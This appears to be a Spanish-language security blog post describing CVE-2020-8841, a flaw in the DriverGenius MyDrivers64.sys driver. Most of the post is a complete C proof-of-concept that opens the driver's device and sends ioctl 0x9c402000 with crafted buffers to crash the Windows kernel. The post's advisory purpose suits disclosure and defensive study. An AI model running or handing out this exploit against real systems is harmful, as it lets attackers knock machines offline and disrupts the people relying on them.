CVE-2020-8841 en MyDrivers64.sys en DriverGenius 9.61.3708.3054 permite a los atacantes causar un bloqueo del sistema a través del comando ioctl 0x9c402000 a \\. \ MyDrivers0_0_1.
El controlador del monitor de hardware MyDrivers64.sys de DriverGenius 9.61.3708.3054 permite a los atacantes inyectar un argumento elaborado a través del argumento de un ioctl en el dispositivo "\\. \ MyDrivers0_0_1" con el comando 0x9c402000 y provocar un bloqueo del kernel.
Para explorar esta vulnerabilidad, alguien debe abrir el archivo de dispositivo "\\. \ MyDrivers0_0_1", llamar a una llamada al sistema ioctl en este archivo de dispositivo con el comando 0x9c402000 y una carga útil diseñada como tercer argumento.
//Software download address: http://www.drivergenius.com/
//Software version:DriverGenius 9.61.3708.3054
//Affected Component: MyDrivers64.sys
//poc
#include<stdio.h>
#include <windows.h>
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
} DUMMYUNIONNAME;
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef NTSTATUS(NTAPI* NtDeviceIoControlFile)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
int main() {
char DeviceName[] = "\\\\.\\MyDrivers0_0_1";
long command = 0x9c402000;//please run driver genius!
HANDLE hDriver = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
ULONG dw;
if (hDriver == INVALID_HANDLE_VALUE) {
printf("Open device failed.\n");
system("pause");
return(-1);
}
LPCWSTR nt = L"ntdll";
HMODULE hntdll = GetModuleHandle(nt);
IO_STATUS_BLOCK p = {};
NtDeviceIoControlFile tDeviceIoControl = (NtDeviceIoControlFile)GetProcAddress((HMODULE)hntdll, "NtDeviceIoControlFile");
if (!tDeviceIoControl) {
printf("[-] Fail to resolve ZwDeviceIoControlFile(0x%X)\n", GetLastError());
system("pause");
}
printf("Start poc execution.\n");
LPVOID lpFakeBuffer = malloc(0x20000);
memset(lpFakeBuffer, 0, 0x20000);
LPVOID Address = malloc(0x20000);
memset(Address, 0, 0x20000);
tDeviceIoControl(hDriver, 0, 0, 0, &p, command, lpFakeBuffer, 0, (PVOID)Address, 0);
return 0;
}
Referencias:
https://github.com/datadancer/WinSysVuln/blob/main/DriverGenius-MyDrivers64.md
Gracias por visitar este sitio, espero que te haya gustado y vuelvas proximamente, compartela en las redes sociales, gracias
Fecha actualización el 2021-01-05. Fecha publicación el 2021-01-05. Categoría: vulnerabilidad Autor: Oscar olg Mapa del sitio Fuente: NIST